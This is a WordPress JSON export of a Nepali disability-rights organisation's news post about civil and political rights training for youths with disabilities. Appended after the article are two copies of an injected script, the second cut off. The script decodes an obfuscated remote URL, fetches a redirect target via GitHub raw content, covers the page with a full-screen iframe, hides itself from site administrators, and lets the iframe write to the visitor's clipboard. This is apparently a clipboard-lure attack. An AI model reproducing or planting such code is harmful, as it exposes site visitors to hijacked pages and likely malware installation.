{"id":3101,"date":"2023-12-21T12:42:54","date_gmt":"2023-12-21T06:57:54","guid":{"rendered":"https:\/\/cil.org.np\/?p=3101"},"modified":"2026-09-08T01:55:36","modified_gmt":"2026-09-07T20:10:36","slug":"capacity-building-training-for-youths-with-disabilities","status":"publish","type":"post","link":"https:\/\/cil.org.np\/np\/news\/capacity-building-training-for-youths-with-disabilities\/","title":{"rendered":"Capacity Building Training for Youths with Disabilities"},"content":{"rendered":"\n<p>During November and December, CIL-Kathmandu, in partnership with Canada Fund for Local Initiatives (CFLI), conducted 4 different trainings at Morang, Dhanusha, Dang, and Kathmandu for 100+ participating youths with disabilities to enhance their awareness and competence on their civil and political entitlements. Each training comprised 25+ participants and was organized for two days. A range of diverse groups of attendees partook in the training enriching the diversity and intersectionality within disability. The training was successful in ensuring 50% of women&#8217;s participation along with the presence of individuals from different ethnic, regional, and disability backgrounds. The training was operated in the respective locations, where a team of trainers and managers visited and conducted the sessions. The local organizations of persons with disabilities were consulted and coordinated for the potential participants, who then were confirmed to enroll.\u00a0<\/p>\n\n\n\n<p>A guide was developed prior to the training comprising the expected outcomes, process of delivery, and logistics demanded. The training was then operated in a well-structured manner, wherein the pre-set outputs were evaluated through different learner-centered activities and assessment approaches. The manual centered more on engaging the participants to brainstorm, study, and discover different ideas, facts, and analyses, which then were asked to be correlated with the presentations shared by the facilitators. Finally, different forms of activities and interactions were carried out to assess the learning of the participants to link them with those encompassed by the manual. In addition, the sharing of experience from the participants was an important element of the training, which was tracked by the facilitator to establish their linkages with the main issue covered by the training or its particular session.<\/p>\n\n\n\n<p>The content matter was directed to educate the participants on the fundamentals of human rights, civil and political rights along with the national and international legal bases to back up them. Finally, the participants were asked to present their experiences and knowledge based on the knowledge on discovering the barriers, prospects, and solutions to the standing issues on political participation of youths with disabilities. Finally, delving into the cross-cutting issues within the disability from multiple perspectives, the trainees received insights on the essential aspects of advocacy and hence were asked to develop a structured plan of advocacy on any issues linked to political and civil rights.<\/p>\n\n\n\n<p>The overall involvement of the participants to generate the desired outcomes justifies that the set objectives could be met to a greater extent. Meanwhile, the participants missing out on the track of the activity and getting diverted was a common issue in many cases. Yet, the participants demonstrated their skills to present their reflection and understanding through the group actions. Many reported that political rights were a newly talked topic to them, and most of them were novices to the International Covenant on Civil and Political Rights (ICCPR), which, being an older document, has been a less discussed document in the disability field of Nepal. In addition, the training was appreciated for being more learner-centered and activity-focused, along with the feedback to reconduct training of such kinds and even to extend such programs in different areas nationwide.<\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () 